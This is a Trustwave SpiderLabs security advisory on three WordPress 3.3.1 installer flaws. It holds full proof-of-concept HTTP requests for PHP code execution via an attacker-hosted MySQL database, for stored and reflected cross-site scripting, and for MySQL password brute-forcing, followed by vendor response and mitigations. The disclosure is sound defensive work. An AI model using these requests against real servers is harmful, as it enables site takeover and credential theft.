WordPress 3.3.1 Code Execution / Cross Site Scripting

`Trustwave's SpiderLabs Security Advisory TWSL2012-002:  
Multiple Vulnerabilities in WordPress  
  
https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt  
  
Published: 1/24/12  
Version: 1.0  
  
Vendor: WordPress (http://wordpress.org/)  
Product: WordPress  
Version affected: 3.3.1 and prior  
  
Product description:  
WordPress is a free and open source blogging tool and publishing platform  
powered by PHP and MySQL.  
  
Credit: Jonathan Claudius of Trustwave SpiderLabs  
  
Finding 1: PHP Code Execution and Persistent Cross Site Scripting  
Vulnerabilities via 'setup-config.php' page.  
CVE: CVE-2011-4899  
  
The WordPress 'setup-config.php' installation page allows users to install  
WordPress in local or remote MySQL databases. This typically requires a user  
to have valid MySQL credentials to complete. However, a malicious user can  
host their own MySQL database server and can successfully complete the  
WordPress installation without having valid credentials on the target system.  
  
After the successful installation of WordPress, a malicious user can inject  
malicious PHP code via the WordPress Themes editor. In addition, with control  
of the database store, malicious Javascript can be injected into the content  
of WordPress yielding persistent Cross Site Scripting.  
  
Proof of Concept:  
  
Servers Involved  
  
A.B.C.D = Target WordPress Web Server  
W.X.Y.Z = Malicious User's MySQL Instance  
  
1.) Malicious User hosts their own MySQL instance at W.X.Y.Z on port 3306  
  
2.) Performs POST/GET Requests to Install WordPress into MySQL Instance  
  
Request #1  
----------  
POST /wp-admin/setup-config.php?step=2 HTTP/1.1  
Host: A.B.C.D  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Proxy-Connection: keep-alive  
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1  
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 81  
  
dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=Submit  
  
Request #2  
----------  
GET /wp-admin/install.php HTTP/1.1  
Host: A.B.C.D  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Proxy-Connection: keep-alive  
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2  
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do  
If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT  
  
3.) Get PHP Code Execution  
  
Malicious user edits 404.php via Themes Editor as follows:  
  
<?php  
phpinfo();  
?>  
  
Note #1: Any php file in the theme could be used.  
Note #2: Depending settings, PHP may be used to execute system commands  
on webserver.  
  
Malicious user performs get request of modified page to execute code.  
  
Request  
-------  
GET /wp-content/themes/default/404.php HTTP/1.1  
Host: A.B.C.D  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1  
  
4.) Get Persistent Cross Site Scripting  
  
Malicious User Injects Malicious Javascript into their own MySQL database instance  
  
MySQL Query  
-----------  
update wp_comments SET  
comment_content='<script>alert('123')</script>' where comment_content='Hi,  
this is a comment.<br />To delete \ a comment, just log in and view the  
post's comments. There you will have the option to edit or delete  
them.';  
  
Non-malicious User Visits Wordpress installation and has Javascript executed on their browser  
  
Request  
-------  
GET /?p=1 HTTP/1.1  
Host: A.B.C.D  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1  
  
  
  
Finding 2: Multiple Cross Site Scripting Vulnerabilities in  
'setup-config.php' page  
CVE: CVE-2012-0782  
  
The WordPress 'setup-config.php' installation page allows users to install  
WordPress in local or remote MySQL databases. When using this installation page  
the user is asked to supply the database name, the server that the database  
resides on, and a valid MySQL username and password.  
  
During this process, malicious users can supply javascript within  
the "dbname", "dbhost" or "uname" parameters. Upon clicking the submission  
button, the javascript is rendered in the client's browser.  
  
Proof of Concept:  
  
Servers Involved  
  
A.B.C.D = Target WordPress Web Server  
  
Request  
-------  
POST /wp-admin/setup-config.php?step=2 HTTP/1.1  
Host: A.B.C.D  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Proxy-Connection: keep-alive  
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 112  
  
dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&uname=root&pwd=&dbhost=localhost&prefix=wp_&submit=Submit  
  
  
  
Finding 3: MySQL Server Username/Password Disclosure Vulnerability via  
'setup-config.php' page  
CVE: CVE-2011-4898  
  
The WordPress 'setup-config.php' installation page allows users to install  
WordPress in local or remote MySQL databases. When using this installation page  
the user is asked to supply the database name, the server the database resides  
on, and a valid MySQL username and password.  
  
Malicious users can omit the "dbname" parameter during this process, allowing  
them to continually bruteforce MySQL instance usernames and passwords. This  
includes any local or remote MySQL instances which are accessible to the  
target web server. This can also be used as a method to proxy MySQL bruteforce  
attacks against other MySQL instances outside of the target organization.  
  
Proof of Concept:  
  
Servers Involved  
  
A.B.C.D = Target WordPress Web Server  
L.M.N.O = Any MySQL Server for which the Web Server has network access  
  
Request  
-------  
POST /wp-admin/setup-config.php?step=2 HTTP/1.1  
Host: A.B.C.D  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Proxy-Connection: keep-alive  
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 32  
  
uname=mysql&pwd=mysql&dbhost=L.M.N.O  
  
Response (If Password is Valid)  
-------------------------------  
<---snip-->  
We were able to connect to the database server (which means your username  
and password is okay) but not able to select the database.  
<---snip-->  
  
Response (If Password is Invalid)  
---------------------------------  
<---snip-->  
This either means that the username and password information in your  
wp-config.php file is incorrect or we can't contact the database server at  
localhost. This could mean your host's database server is down.  
<---snip-->  
  
  
Vendor Response:  
Due to the fact that the component in question is an installation script,  
the vendor has stated that the attack surface is too small to warrant  
a fix:  
  
"We give priority to a better user experience at the install process. It is  
unlikely a user would go to the trouble of installing a copy of WordPress  
and then not finishing the setup process more-or-less immediately. The  
window of opportunity for exploiting such a vulnerability is very small."  
  
However, Trustwave SpiderLabs urges caution in situations where the  
WordPress installation script is provided as part of a default image.  
This is often done as a convenience on hosting providers, even in  
cases where the client does not use the software. It is a best practice  
to ensure that no installation scripts are exposed to outsiders, and  
these vulnerabilities reinforce the importance of this step.  
  
  
Remediation Steps:  
No official fix for these issues will be released for the WordPress  
publishing platform. However, administrators can mitigate these issues by  
creating strong MySQL passwords and defining rules within a web application  
firewall (WAF) solution. ModSecurity (http://www.modsecurity.org/) has  
added rules to the commercial rules feed for these issues, and Trustwave's  
vulnerability scanning solution, TrustKeeper, has been updated to detect  
exposed installation scripts.  
  
  
Vendor Communication Timeline:  
12/22/11 - Vulnerability disclosed  
01/16/12 - Confirmation to release vulnerabilities  
01/24/12 - Advisory published  
  
  
References  
1. http://www.wordpress.org  
  
  
About Trustwave:  
Trustwave is the leading provider of on-demand and subscription-based  
information security and payment card industry compliance management  
solutions to businesses and government entities throughout the world. For  
organizations faced with today's challenging data security and compliance  
environment, Trustwave provides a unique approach with comprehensive  
solutions that include its flagship TrustKeeper compliance management  
software and other proprietary security solutions. Trustwave has helped  
thousands of organizations--ranging from Fortune 500 businesses and large  
financial institutions to small and medium-sized retailers--manage  
compliance and secure their network infrastructure, data communications and  
critical information assets. Trustwave is headquartered in Chicago with  
offices throughout North America, South America, Europe, Africa, China and  
Australia. For more information, visit https://www.trustwave.com  
  
About Trustwave's SpiderLabs:  
SpiderLabs(R) is the advanced security team at Trustwave focused on  
application security, incident response, penetration testing, physical  
security and security research. The team has performed over a thousand  
incident investigations, thousands of penetration tests and hundreds of  
application security tests globally. In addition, the SpiderLabs Research  
team provides intelligence through bleeding-edge research and proof of  
concept tool development to enhance Trustwave's products and services.  
https://www.trustwave.com/spiderlabs  
  
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